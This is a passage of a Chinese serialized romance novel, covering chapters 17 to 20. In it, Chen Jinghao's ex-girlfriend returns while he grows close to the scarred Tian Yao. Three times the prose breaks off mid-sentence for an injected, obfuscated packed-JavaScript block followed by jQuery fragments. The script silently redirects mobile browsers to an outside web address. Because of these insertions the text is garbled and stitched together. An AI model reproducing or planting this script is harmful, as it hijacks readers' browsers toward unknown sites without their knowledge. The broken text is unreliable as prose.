田遥了然地哦了一声,扒下帽子放到盥洗台上。她蹲下身,趴着边沿,头往浴缸里伸。
这样的姿势……并不舒服,她总感觉自己像只青蛙,或者,癞□□。
手机放裤兜里硌得慌,陈景皓把它拿出来放到了盥洗台上。他调好水温,半蹲到她左边,小心翼翼地绕开伤口,帮她把头发打湿。
剃光的地方是个整齐的方形,像个商标一样贴在她的后脑勺。方形里面已经长出短短的头发。
“水温合适吗。”
“唔……”
陈景皓关了水,从瓶子里压出一小坨洗发水,他先在手上搓匀,再揉进她的头发里。
田遥的头发又黑又软,洗发水很快冒出泡沫,看起来像在黑芝麻糊里加了白色奶油。
他不敢太用力,也不敢用指甲,只用指腹轻柔地揉搓着。
田遥分辨不出是水温还是他的温度,每一处触碰都让她感到暖和,又舒适。
田遥斜眼看着白色浴缸里那只不锈钢塞子,里面映出两人重叠在一起模糊的影子。她左半边身子处于陈景皓的身影之下,那股阴影和着热力,压得她不敢动弹,还有些透不过气。
“……行了吧。”田遥开口。
“嗯。”
陈景皓重新打开花洒,三两下冲干净双手,才去给田遥冲泡沫。有些泡沫跑到了她的耳背,陈景皓就着流水给她揩掉。
也许是热水的关系,田遥的耳朵更红了。陈景皓不由笑了笑。
浮着泡沫的水转了几个小漩涡,从塞子钻了进去,田遥看得有些呆了。
“你耳垂很厚呢。”他突然说,“有福之相呢。”
“是么。”田遥轻声说。
“嗯。我听我妈说的。”
田遥第一次听陈景皓提起他妈妈,她顿了一顿,说:“那我可能是个例外了。”
陈景皓哼笑一声,他和她离得太近,她觉得几乎能感觉他胸膛处轻轻的震动。
“你觉得你命不好?”
田遥毫不犹豫地嗯了一声,“不怎么好。”
“我也是。”
陈景皓浑不在意地接了一句,伸手将开关关掉,花洒插回墙上。水声停止,浴室里一下安静起来,花洒和田遥的头发都在无声地滴着水。
他从柜子里取了一条干净的毛巾,回头看见她,那么小小的一只,乖乖顺顺地蹲在那里。他帮她大致擦了一下头发,弯着腰不舒服,陈景皓让她站起来。
蹲得久了,刚站起田遥有片刻眩晕,视野才恢复清明,又忽然黑了——陈景皓将一条大毛巾盖到了她头上。
田遥:“……”
陈景皓轻声笑,隔着毛巾轻轻拧了几下她的耳朵。她低下头,只能看到他长长的卡其色裤子,还有半藏在裤管里的双脚。
头顶被什么柔软的东西碰了一下,那种触感细微又短暂,田遥初以为是错觉,等到想明白那可能是什么时,脑子都空白了。
他一卷又一卷,缓缓将毛巾掀起,田遥随着逐渐明亮的视野抬眼。整张脸都露出来时,两人注视对方的眼神,微微顿了一下。
田遥忽然不可控制地想到,古时女子出嫁,被夫君掀起红盖头差不多也是这样的光景吧。
这么一想,双颊又滚烫起来。
陈景皓微微垂眼看着她,粗砺的指腹忽然轻轻盖在她的唇角,沿着泛开红晕的脸颊,一路慢慢滑到耳边。然后他并不意外地发现,田遥的皮肤和看上去的一样细致。
陈景皓感觉到细微的颤抖,他们离得太近了,呼吸交错在一起,洗发水熟悉的香味萦绕鼻端,他不知道这份颤抖来自田遥还是他自己,或者,是他们共同的。
陈景皓扶着她的肩膀,指腹轻按在她的唇上,细细地描绘着她的唇形。
红唇温润,眼波流泽。
浴室的水汽模糊了那面巨大的镜子,他们只能在之中映出一个暧昧不清的轮廓,却在彼此眼中清晰地看到了那个小小的自己。
田遥的嘴唇动了动,细微的动作像吸吮一样,陈景皓的拇指不由僵住,喉结跟着滚了一下。
浅黄色的墙壁滤掉外界的嘈杂,这个小小的世界,安静得如深夜一样。
就因为太静了,搁在盥洗台上突如其来的手机震动声,把他们吓了一跳,或者说更像当
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684839|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头一棒。
手机一半垫在一个塑料盒子上,震动声格外的响亮,又刺耳,像个小型发动机的声音,富有节奏的一下又一下,不知倦怠。
田遥稍稍侧开头,离开了他的触碰。
“你先接电话吧。”
声音干燥而沙哑,像是隐忍了许久后的释放。她转身,一手压着头顶的毛巾,一手撩过帽子,走出了浴室。
手机依然在震动,陈景皓拿过看了一眼,不由眉头轻蹙。
添添
“喂。”
陈景皓声音暗哑,说不出是因为疲惫还是许久没开口。他拿着手机来到了阳台上。
“陈景皓!”
高添添的声音带着惯有的娇嗔,陈景皓却莫名觉得恍如隔世。
陈景皓说:“怎么了。”
“你为什么不回我短信啊,我两个小时前就发给你了。”
“……是吗。可能刚才在忙没注意到。”
“我回到宁川了,在机场呢,你来接一下我好不好。外面下着雨,很难打到车哎……”
“……”陈景皓静了一会,夜风将他的衣服鼓起来,几滴雨水跟着打到他脸上,脑仁跟着染上冰冰凉凉的感觉。
高添添有些委屈了,“你过来好不好,我东西很多哎……还给你带了礼物呢……”
“……好,好。”陈景皓说,“你在哪个机场?”
“宝和这边。”
陈景皓第一反应是——跟田遥住的地方两个方向。
他叹了一口气,说:“好,我一个小时后才能到,能等吗。”
“当然能啦。”
“那你在那呆着,别乱跑。”
“知道啦。”高添添欢快地挂了电话。
手机退回锁屏界面,上面有两条高添添的信息,陈景皓没细瞧,直接熄了屏幕。
陈景皓回到客厅,田遥从沙发上站起来,将那一团毛巾拿在手里,看到陈景皓脸色不对劲,她不自在地攥紧毛巾。
“怎么了……”她轻声问。
“……”陈景皓看着她,擦干的头发有些凌乱,但从正面看上去,她是如此的完整,就像没受过伤一样。
他抿了抿嘴,说:“我得去机场,接个人……”
“哦——”田遥恍然地点点头,“那你去吧。”
“……我先送你回去吧。”
“哪个机场?”
“宝和。”
陈景皓本来不想说,但田遥问得随意,他也就脱口而出了。
“那不用了。”田遥说,“完全两个方向。我自己回去就可以了。”
“外面下雨了,不好走。”
“我搭公车,又不用走路。”
“……”
说罢,田遥拿起帽子戴上,摇了摇手里的毛巾,说:“这个,放去哪里?”
陈景皓伸手拿过,一把甩到餐椅的靠背上。
“搁那就行了。”
“……”田遥跟着看到没收拾的餐桌,她往那指了指,说:“那些怎么办……”
陈景皓看了一眼,“没事,我回来再收拾。”
田遥没再说什么,跟着他到玄关换鞋,陈景皓给她拿了一把伞,两人一块等电梯下楼。
电梯到一楼时,陈景皓要跟着出来,却被她拦住了。
“就几步路,我自己走就可以了。不用送了。”
“……那回到给我打个电话,或者,发短信也行。”
田遥走出电梯,她将帽子拉下一些,走进夜色里,头也不回。
18. 第18章
陈景皓快到宝和机场时,手机震了一下。他在路口的红灯前停下,掏出手机。
田遥的短信显示在最上面,下面两条自然是高添添的。
【田遥:我到了。】
她的短信还是那样,不用开锁都能读完。陈景皓轻扯嘴角,拇指滑开田遥的短信。
输入密码,短信聊天框显示出来,最上方标题显示着田遥二字。他摁出键盘,手指悬在屏幕上方,一动不动,像忘了怎么用输入法似的。
莹白的屏幕光映着他面无表情的脸,窗外,行人道上的绿灯不停闪烁,他感到一股无形的压迫。
好。
他最终只摁出了一个字,然后把手机扔到副座上,双手扶着方向盘往左打。
陈景皓在路边停了车,没有立刻下车,而是点了一根烟,才抽了两口,猛然想起高添添讨厌烟味,又只好掐灭。
雨已经停了,空气湿润,带着尘土的味道。
高添添等在机场的一个咖啡店里,她今天穿了粉色的连衣裙,交叠双腿坐在沙发里,低着头用iPad玩游戏。粉色很挑人,偏偏她生得白净小巧,把那股韵味都穿出来了。
桌上搁着一杯咖啡还有她粉色外壳的手机,旁边是一个巨大的旅行箱。
她听到脚步声,抬起头,高高大大的一个人站在桌子前,挡住了一部分灯光。
陈景皓低头看着她亮晶晶的眼神,淡淡地说:“……怎么突然舍得回来了。”
高添添目光立马变得哀怨,“我回来了你不高兴哦。”
“……也不是。”
“什么叫‘也不是’哦。”
“……走吧,我送你回家。”
相逢的桥段跟她设想的不一样。高添添把iPad丢到一边,抱臂道:“我不回家。”
柜台几个服务员往这边瞭了几眼,窃窃私语几句,又埋首干活。
陈景皓说:“不回家你去哪啊。”
高添添嘟着嘴不愿说话,陈景皓马上明白了她的意思。那句“我们不是分手了吗”溜到嘴边,却怎么也蹦不出来。
“……你,你出国前不是说不想理我了吗。”
“哼。”高添添把iPad揣进手袋里,拎起手袋拖过行李箱就往外走。“不理就不理。”
陈景皓只得追上去,半路抢过她的行李箱,在店门外拽住高添添的手臂。
“你干什么呢,一回来就冲我发火。”
高添添甩开他的手,却没有再跑。
“我说不想理你你就不理我了啊。”高添添比他矮了一个头,此时眼睛已然红了,看上去更加委屈又脆弱。“你以前可不是这样的。”
以前,高添添跟他闹分手,陈景皓都是好声好气地把她哄回来。而这回,她刚出国的时候,陈景皓也是这般。到得后来,他主动联系越来越少,甚至她主动联系都不及时回复。高添添这才意识到,她该回来了。
陈景皓叹了一口气,轻轻将她拥住。
“好了好了,你不想回家就不回吧。”
高添添回抱他,噗嗤一声破涕为笑。她把头埋在他胸膛,“快半年不见了,我好想你啊。”
“……嗯。”陈景皓含糊不清地应了一句,“先上车吧。”
他们一块回了盛辉国际。
陈景皓把行李箱搬进客房,路过沙发边桌时,他用身子遮了一下,飞速把相框立起来。
相框里,是高添添和他在海边的合照,至于拍照时间——他一时想不起来了。
高添添从鞋柜里取出粉红色的拖鞋换上,走进客厅,她一眼就瞧见了那只白色相框,依然安然无恙摆在桌上。她不由扬起嘴角。
转过眼,她瞧见了餐桌上的一片狼藉,面对面的位置放了一双碗筷。
高添添往那指了指,“刚才有客人来吗?”
陈景皓刚从客房出来,先看到了那条毛巾,他几步过去将毛巾拎起。
“对——”陈景皓边说边把毛巾扔进阳台的洗衣机里,“戴云辉刚来这吃饭。”
“哦——”高添添点点头,目光移向别处。她扫视了一圈,最终也没发现什么不同之处。
陈景皓开始收拾餐桌,高添添看了他一眼,说:“坐了一天飞机了,我先去洗澡。”
她进客房翻出洗漱用品和睡衣,路过客厅又往陈景皓掠了一眼,总感觉有些不踏实。
他……似乎比之前冷淡了许多。
高添添把自己的东西在盥洗台上摆好,睡衣挂在壁钩上。她来到浴缸边,正打算放水,却发现浴缸湿漉漉的。
塞子周围积着一小撮头发,浴缸壁上也粘了一两根。
高添添有些愣住了,她慢慢蹲下来,拿手比划了一下那根头发的长度。
不长,只有拇指和食指伸开的长度。
高添添呆呆看了一会,她没有用浴缸,而是站着洗完了澡。
晚上睡觉时,陈景皓似乎比她还累,只往她额头亲了一下,倒头便睡,那动作,说不出是习惯还是机械。
他的规规矩矩,倒叫她愈发猜疑。
高添添一直睁着眼,等了好一会,确认陈景皓确实睡熟后,她轻手轻脚地起身,绕到床那边拿过陈景皓的手机。
她关了声音,滑开锁屏,输入自己的四位生日。
手机震动了一下,依然停留在密码输入界面。
高添添咬着唇,紧张地看向陈景皓,他呼吸平稳,仍然保持刚才的姿势。
她试着输入他的生日,还是不对。
他把密码改了。
陈景皓陪了高添添两天,才终于抽空回了酒吧。方晓君以为他一直呆在田遥那,忍不住调侃他怎么舍得让田遥回来上班了。
“什么?!她还真回来了?”
方晓君困惑地看着他,说:“难道她没跟你说?你俩……不是都在一块么……这些天。”
“……”
陈景皓扫视了一圈,也没发现田遥的影子。他不跟方晓君废话,径自往走廊那边走。
走几个服务生路过,跟陈景皓打了招呼,他匆忙点头,只顾着往工具房走。还没走到,他便停住,定定望着三米之外的一个人。
那个人拿着长柄拖把在拖地,看到他,也慢慢直起身。
她有着一头及肩的长发,漆黑又整齐。
“你、你看什么。”
田遥看着他,脸上有点热,不知是发窘还是想发火。
“没什么。”陈景皓轻轻笑了,带着无可奈何的味道。
“不好看么。”
“不好看。”
“……哪不好看了。”
田遥转过脸,对着墙上的茶色玻璃左右看了几眼。里面的人长得跟五年前差不多,变了的只有那冰冰凉凉的眼神。
陈景皓说:“不是你的。”
田遥:“……”
她淡淡地看了他一眼,没有接话,转了个身继续拖地。
陈景皓回转身,回想刚才她的模样,才走出几步,就听到背后田遥轻飘飘的声音。
“陈景皓,你真混账。”
陈景皓几乎是乐着回到吧台,他还没在凳子上坐稳,脸上的笑容就挂不住了。
“添添……你怎么来了……”
高添添拎着包,款款向他走来。她今晚的衣着和妆容,比往日更加精致和考究。
“我怎么就不能来了,我来看看你不行么。”
“……我不是那个意思。”陈景皓从凳子上下来,“你不是说不喜欢吵的地方吗。”
高添添的确不喜欢来这里,灯红酒绿,鱼龙混杂。而她今晚不但来了,还带来两个人。
“我跟我朋友过来玩玩。”
高添添指指身后的两个女人。穿条纹衫的叫梁琪,穿格子裙的叫李颖,都是以前陈景皓见过几次的。
陈景皓还没来得急寒暄,吧台后方晓君热情的声音响起。
“哦哟,添添,你来了啊。几时回来的啊?都没听我哥提起。”
酒吧里的人都管高添添叫“嫂子”,就只有方晓君对她直呼其名。高添添也不在意,反正啊,当年方晓君是她的手下败将。
高添添表情僵了一下,很快又笑眯眯起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684840|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
来。
“晓君,好久不见。我回来两天了,他这两天都陪着我呢,估计是没找到机会跟你说吧。”
这回轮到方晓君愣神片刻,高添添又说:“你烫了卷发了嘛,真好看,比以前有女人味多了。上回我见你还是黑长直呢。”她不等方晓君接话,看着陈景皓说:“我跟朋友先过那边坐了啊。”
高添添露出迷人的微笑,挽着梁琪的胳膊,和李颖一起走向刚空出来的一个卡座。
方晓君抱着胳膊,饶有兴味地看着高添添的背影。
“哦哟,我说怎么两天不见你,原来是陪前女友,哦不,准媳妇去了啊。”
“……瞎说什么。”陈景皓一屁股坐回高脚凳上,闷闷地说。
方晓君切了一声,“我还以为你跟田遥在一起呢。”
“……”陈景皓手搁在吧台上,他垂眼看着大理石的纹路,一时无语。
方晓君安静了一会,忽然冷笑了一声。
“呵,看来有人要伤心咯。”
陈景皓抬眼,方晓君并没有看他,她的目光掠过他,直直停在他身后的某个地方。陈景皓循着她的眼神望去,只觉胸口像被大石压着,生疼生疼的。
他只看了一眼,又转回头。方晓君那声冷笑嘲讽意味更浓。
卡座还有前面客人留下的垃圾没来得及收拾,高添添叫住路过的一个穿米色制服的人。
“哎,服务员,麻烦帮收拾一下这里。”
田遥回头,看了一眼那片狼藉,说:“稍等。”
田遥喊来一个服务生一起收拾,服务生收拾杯盘,她擦桌子扫地。高添添站在边上,双手拎着包,俯视着她们。
服务生先端着杯盘走了,剩下田遥在做收尾工作。
高添添开口说:“哎,你是新来的么,怎么以前没见过你啊。”
田遥这才抬头正眼打量了一下高添添。她是个典型的小脸美人,小家碧玉的看着让人心生怜爱。
“是。”田遥答。
“哦,难怪。”
“收拾好了,您请坐。”田遥微微低着头,拿着东西退了出去。
酒吧里出入的漂亮女人如过江之鲫,田遥也没怎么琢磨刚才跟她搭话的美人,她心里兜着另外的事。
一时闲着,她倚在走廊的墙角里,掏出手机犹豫了很久,终于发出一条短信。
【田遥:你什么时候有空,可以教我做菜么。】
她握着手机,一下一下砸着另一只手心,没到十下,手机就震动了。
【陈景皓:怎么突然要学做菜啊。】
【田遥:因为你做得好吃。】
田遥刚发完信息,刚才那个服务生就急急忙忙跑过来,在她面前刹住车。
“哎哎,美女,帮我顶一下,19桌的客人,手下东西哈。我我我——吃坏肚子了,不好受啊——”
田遥反应过来,19桌不就是刚才那个美人么。她把手机收进裤兜,说:“行。”
“哎,美女你真是好人。改天请你吃宵夜。”他拍了几下田遥的肩膀,然后一溜烟跑进厕所。
田遥来到19桌,卡座角落的阴影里多了一个人,那人大半身子被倾身向前的高添添遮住,依稀看得出是个男人。
高添添指了指桌上一滩倒出的酒,说:“这里擦一下,不小心洒出来了。地上的也拖一下,不然等会要滑倒了。”
“是。”田遥应了一声。
梁琪和李颖站了出来,给田遥让道进去。
高添添靠回沙发,男人的整个轮廓暴露出来。他一直低着头,将手机锁了屏,慢吞吞塞进裤兜里。高添添和他坐得很近,她交叠着双腿,粉色的裙子铺陈到男人卡其色的长裤上。
高添添捏了一下男人的脸,娇嗔道:“陈景皓,你在忙什么哦,一天晚上都在看手机。”
田遥擦桌子的动作更慢了。
裤兜里的手机忽然震动了一下。
那声震动,细微又短暂,挣扎了一下,马上堙没在酒吧的嘈杂里。
就像她的感情一样,除了她自己,无人知晓。
19. 第19章
田遥低着头,眼里只有那滩水。她感觉有些无力,好像被抽走了脊骨,全身都软塌塌的。
陈景皓声音沙哑低缓:“没什么。”他站起来,“你跟她们玩,我过去一下。”
他擦着高添添的膝盖,挤了出去。高添添双手攀着他的胳膊,随着他的移动滑到了他的手掌里。
“嗯。”高添添说,“一会我等你回家。”
陈景皓什么也没说,或许是周围太吵,把他的声音盖住了。
田遥把酒渍收拾妥当,拎着抹布提着拖把退下。她将东西随意往工具房里一放,掏出烟盒往后门走。
水泥地面已经散去白天的热度,屋角那个梨形灯泡消耗着仅存的寿命。巷子深处传来几声狗吠,田遥擦燃一根火柴,把烟点上。
她一手抱着胳膊,站在门边一口一口吸着烟。猩红的烟头急促地一明一灭,她很快抽完了一根。她平时最多每天一根,一来她没什么闲钱,二来她最近抽得也少了。这回,她没多想,抽出第二根咬在嘴里。
后门的铁门吱呀一声被拉开,里面走出一个人。田遥手上顿了一下,转头看了一眼。
是刚才那个服务生,叫张驰。
张驰看见田遥手上的烟,脸上见怪不怪的表情。张驰朝她抬了一下下巴,说:“美女,刚才谢谢了啊。”
“不用。”田遥回过头,将烟放进嘴里。不知是否超限的原因,田遥咬着软软的过滤嘴,觉得有点苦。
“哎,用的用的。改天请你吃宵夜哈。”
张驰显然也是偷空出来抽烟的,他吐出一口烟,感概地说:“没想到是我们老板和老板娘在那,吓得我啊——”他又猛吸了一口,“嘿嘿——有压力呢!真怕不小心搞翻个杯子什么的。”
田遥淡淡地说:“所以你拉我去做垫背了。”
“哎——”张驰夹烟的手在空中虚点几下,“我那不是‘人有三急’吗——瞧你,不就是叫你顶了一下吗,什么垫背不垫背的,说得那么难听,至于吗——”
“你们都知道她是老板娘。”
“当然知道啦。都多少年了,有谁不知道啊。”
田遥冷笑一声,她声音低缓阴沉:“要是早知道他在,我就不去了。”
张驰看向她,“你说什么,能不能大点声啊。”
田遥没理他,把半截烟扔地上,一脚踩灭,往门里走。
张驰呆呆看着她,那根烟僵在手上半天忘了吸,等田遥走远了,他才低低骂了一句。
“真是有病!”
酒吧里,梁琪和李颖坐回沙发上,李颖拈起一根鱿鱼丝,沾了一点青芥末放进嘴里,边嚼边看着高添添和陈景皓的背影。
“哎,望夫石,醒醒。”梁琪在高添添眼前晃了晃手,说:“你这是咋的了,失魂落魄的,不像你风格啊。”
高添添懒懒地哦了一声,“那什么才是我的风格啊。”
李颖咽下鱿鱼丝,插话道:“幸福的小女人呗,像你以前一样。”
高添添嗤笑一声,有点无奈,说:“你也知道是以前了。”
梁琪语气幽幽,“有心事不说,会憋出病的哦。”
“没——有——”
高添添心里断然没有嘴上说得那般斩钉截铁。她不敢告诉任何人她的猜疑和不安。
被背叛是在她骄傲允许范围外的事。
即使最后闹得曲终人散,她也会提前一步抽身,就像以前的许多次一样——
分手都是她先提的。
她有直觉,那个女人一定跟他的酒吧有千丝万缕的联系,或许是这里的客人,又或许,是这里的员工。
前者她暂时没发现可疑之人,而符合后者条件的只有方晓君一人,至于那些服务生和名不见经传的驻唱歌手——呵呵,除非陈景皓眼瞎了。
高添添心里瞎合计着,不觉有些意兴阑珊。
“我有点困了,要不我们还是回去吧。”
李颖被她噎住,“喂,你怎么搞的,先说来的是你,先说要走的人也是你,还有没意思啊。”
梁琪也抱臂,跟李颖统一战线。
高添添拎起自己的手包,“那你们慢慢玩,我先回去了。你们别嗨过头了,回去注意安全。”
李颖和梁琪面面相觑,怔怔看着她走向吧台。
“真扫兴。”李颖将鱿鱼丝丢回盘子里,“每次来酒吧都是这样。她跟她男人,完全不同路数啊,这两人到底怎么处了四五年啊。”
“谁知道。”梁琪也怪笑了一声,掏出手机开始调兵遣将。
高添添走到陈景皓身边,拉了拉他的胳膊。
陈景皓摁灭了手机屏幕,转头,说:“怎么了。”
“我想回去了。”
“好。”陈景皓又摁亮了屏幕,已经十点多了。他咬咬牙,说:“我送你回去。”
“你呢,你不跟我一起回去么。”
“我先送你回你家。”
陈景皓站起来,神情少了他一贯的温柔,取而代之的是面无表情,甚至有些冷峻。
这样的他,让她觉得陌生,又恐慌。
高添添挤出一个笑,“……好。”
高添添家在宁川市一个价格不菲的别墅区,离这里一个小时的车程。偏偏在北环大道上两辆货车追尾,两个大块头将路堵住,几乎水泄不通。一堆私家车如蚂蚁追糖一样黏在那里,没法掉头,只能龟速爬行。
两人各怀心事,一路极少交流。
把高添添送到家门口已经将近十二点,陈景皓简单跟她道了晚安,那辆白色的车子像骏马一般,掉头飞快地奔进夜色里。
高添添看着那迫不及待变小的白点,睡意消失得一干二净。
凌晨一点,夜阑人静。偶有江风吹过,树叶沙沙响。草丛传来虫子细碎的叫声。
老旧的小区,青白色的路灯下,一个身形挺拔的男人立在那里,手里夹着一根烟,不时往路口方向瞄几眼。薄薄的烟雾被江风吹散,昏暗夜色中男人的表情更加暧昧不清。
田遥手里握着那支钢牙电筒,光柱随着她的手臂晃动。她看见路边有个人,但也只是看了那么一眼,便继续往前走。
陈景皓掐灭了烟,跟了上去。
她的背影瘦削却坚韧,像棵杨树一样笔直。
他像被绑了一根线,线的另一头在田遥手上。她走得越远,那根线绷得越紧,勒得他胸口发疼。
“田遥。”他低低唤了一声。
田遥没有应声,甚至没有停顿,像没听见一样,一直往前走。
陈景皓走了几步,一把捞过她的手腕。
田遥被他拽得停下脚步。
田遥的手腕跟她人一样瘦。除了骨头,陈景皓还摸到了一段凸起的疤痕。
他愣愣地低头,指腹轻轻在上面摩挲。
那段细长的痕迹,像一道分界线,在五年前,分开了爱与恨,分开了白与黑。
“放手。”田遥回头,眼神冰冰凉凉。
“……”陈景皓松开手。
田遥开了铁门,往楼上走。
陈景皓一言不发跟着她,到了她门口,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15684841|173284||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
他拿手垫了一下她摔上的门,侧身闪进屋里。
田遥定住,转身看着他。他的眼睛还是那般黝黑,那样的黑色能包容万物——包括谎言。
也不对。田遥想,实际上,他并没有撒谎。
他只是有所隐瞒。
“出去。”田遥低喝。
陈景皓不动,非但不动,腰杆还挺得笔直,底气十足的样子。
“田遥……她只是我以前的女朋友。”
田遥冷笑一声,胸腔跟着那轻轻的颤动泛疼。
“关我什么事。”
短短的五个字,像把冰冷的刀,把他的担心和焦切都削到地上。
“……是吗。”
他连续开了两个多小时的夜车,胳膊酸了,眼睛也有些涩痛了。
他的难过,她全然不知,就像他也无从知晓,她现在心里兜着的心思。
田遥低头,看着自己廉价的衣服,以及手里攥着那只可笑的钢牙电筒,甚至连假发也是菠萝货。
她又想起酒吧里他身边那个一看就出身不俗的女人,想起他在盛辉国际的房子。
还有那只扣在桌面的白色相框。
她一个还在贫困线上挣扎的人,有什么资格谈情说爱。
以前,她没觉察到这种差别,是因为她的眼界里只有他,而他也极力淡化这种差距。
而现在,多出了一个人,便有了对比,鲜明的对比。
也许她才是多出来的那个人,田遥想。
她站在低处,只能仰望到他,而他站在高处,拥有更广阔的视野,更丰富的选择。
她像一块普通的木板,不过是在他正巧资源紧缺的时候,临时替他挡住心头那个漏风的缺口。现在他拥有了更质优的修补材料,她的卸任之日自然跟着到来。
沉默,只有帘尾随着夜风不断卷动。
陈景皓忽地上前一步,捏住她的下巴,低头吻住她的唇角。
他身上的烟味很浓,混合着男人的体香,是她熟悉又遥远的味道。
这个不清不白的吻,像一根细细的火柴,在黑暗中劈开一方小小的光亮,笼罩着她,也点燃了她的怒气。
她猛地将他推开,陈景皓只是笑笑,回味无穷似的,说:“你还想置身事外吗。”
他把她推进一个大坑,自己却站在边上,高高在上地看着她,说:
你还想置身事外吗。
我还能置身事外么。
田遥扬起左手,往他脸上挥去。
陈景皓却再度攥住她的手腕,还有那道岁月的分界线。那道疤痕明明那么细小,却像一道火线,灼热了他的掌心。
田遥另一只手却握紧那根钢牙手电,直直朝他胸口扎去。
陈景皓始料未及,没能避开,或者说不想避开。泛着冷光的尖锐钢牙,牙尖刺破深蓝色的衬衫,没入他的左胸膛。
他没有后退,只是身形一僵,闷哼了一声。
不知她是有所保留,还是手劲不足,陈景皓能感觉到伤口很浅。
他将她拽近了一点,平静地说:“气消了么。”
田遥甩开他的手,手腕还残留着他的热度。
“你滚。”
陈景皓蓦然想起那天的中年男人,她也用了同样的词。
不同的是,这次,她没有歇斯底里。
那两个字,带着些微的颤音,像她小心翼翼地,将自己的心意捧出来,对方迟迟不肯收下时恼羞成怒的颤抖。
田遥转身进了卧室,花了许多力气,才将门轻轻合上。
20. 第20章
田遥半夜醒来一次,她开门出来,看到陈景皓敞开双腿坐在那个掉漆的木沙发上,两臂交叉在胸前,睡着了。
三更半夜屋里多了一个人,田遥着实被吓了一跳,差点叫出声。
客厅的日光灯还亮着,有几只小虫子绕在周围。他眉头轻蹙,嘴巴抿得紧实,像是想着什么问题想得睡着了。他胸前的衬衣被手臂压得绷紧,左边有几点暗斑。茶几上,她用易拉罐剪成的烟灰缸里,横七竖八插满了烟头。
田遥看着他,不由想起第一次看到他睡颜的光景。
都已经是半年前的事了。
她没有惊动他,扭头进了卫生间。
早上她再起来时,陈景皓已经离开。昨夜一幕幕恍如荒诞的梦境,只有那只易拉罐证明他来过。
她坐到他坐过的位置,将易拉罐丢进垃圾篓。她胳膊肘垫在膝盖上,两手捂着脸。她睡得不踏实,眼睛有些发涩。
如此呆了一会,田遥卸力地倚到靠背。抬眼,她又看到陈景皓坐过的椅子,似乎还是摆在那个地方,他就坐在上面,静静地看着她画画。
他问她芍药花的花语,她告诉他是情有所钟。
田遥觉得自己有些魔怔了。
陈景皓是早上五点走的。他醒来,嘴巴有些微干苦。那扇门依然紧闭,他带着刚醒的迷蒙,怔怔看了好一会,才起来关了客厅的灯离开。
回到盛辉国际,他先进了浴室。脱掉衬衫,左胸上伤口上的血已经凝结,像四筒一样排在那里。陈景皓低着头,哼笑一声。
他麻利除掉下身衣物,走到花洒下。热水淋到脸上,他抹了把脸,喘了口气,盯着瓷砖的缝隙发呆了。
也不知道冲了多久,陈景皓擦着头发从浴室出来,发觉指腹都变成了橘皮。
他拿过沙发上的手机,滑开锁屏,点进短信聊天框。他左看右看,删了又打,打了又删,如此折腾许久,最终输入框还是一片空白。
陈景皓烦躁地靠到靠背上,仰头看着白色的天花板。
这里的一切干净而明亮,黄灿灿的吊灯上找不到一抹蛛丝。他脑里存的是却另外一幅光景。
一根两头发黑的光管,黑色的小虫子萦绕上头,整片天花板呈现灰白的颜色。
陈景皓眉头皱了皱,脑袋歪向一边。
边桌上那只白色相框映入眼里,明明是最纯净朴实的颜色,此刻却如此刺眼。
他伸手一把将之拍倒在桌上。
陈景皓像昨晚一样,不知不觉又在沙发上睡着。他再次醒来是因为一个电话,他的手臂因为震动声轻轻抽搐几下。
屏幕上显示了两个字——周坤。
“喂。”
“哎,皓子啊,好久没联系了,我周坤啊。”
“知道。”陈景皓打了个哈欠,“好久没见,跑哪发财去了。”
“发毛线财啊,挣两口饭吃而已。”周坤嘿嘿笑,“我还正想跟你说呢。我最近接了个活,就在宁川市区。我问了一下,好像离你那不远。你看,到时出来喝两杯?”
周坤是陈景皓十多年的朋友,以前跟他一起在街头混过,后来被他爸抓去工地干活,混着混着就子承父业当上了包工头。
“你这不是废话么,那当然得喝。”陈景皓心情难得地放松,笑着说:“具体在哪一片啊,说个具体的点。”
“嗯。我再看看啊,一时记不全了——”周坤那边传来翻动纸张的声音,“啊,找到了——宁川市秀锦区丽水路87号——你懂这个地不?”
陈景皓想了想,说:“懂,当然懂。离我这的确不远。你晚上下了班都可以走着过我这喝酒。”
丽水路87号,金伟全的红鹰棋牌社就在那附近。
“那就好,那就好,哈哈——到时一定到你那喝两杯。”
“你现在还在葵安?”
“在啊,一直在这边呢。手头上还有些事,等搞完就过去,就这几天的事了。”
那边有人在叫周坤的名字,周坤又说:“哎,要出门了。要不先这样,见面了再聊啊。”
“行,你到宁川了就给我个电话。”
“好咧。”
葵安。
陈景皓轻声念叨,手机捏在手里转了几圈。
虽然她只提过一遍,但他还记得,那里也是她的家乡。
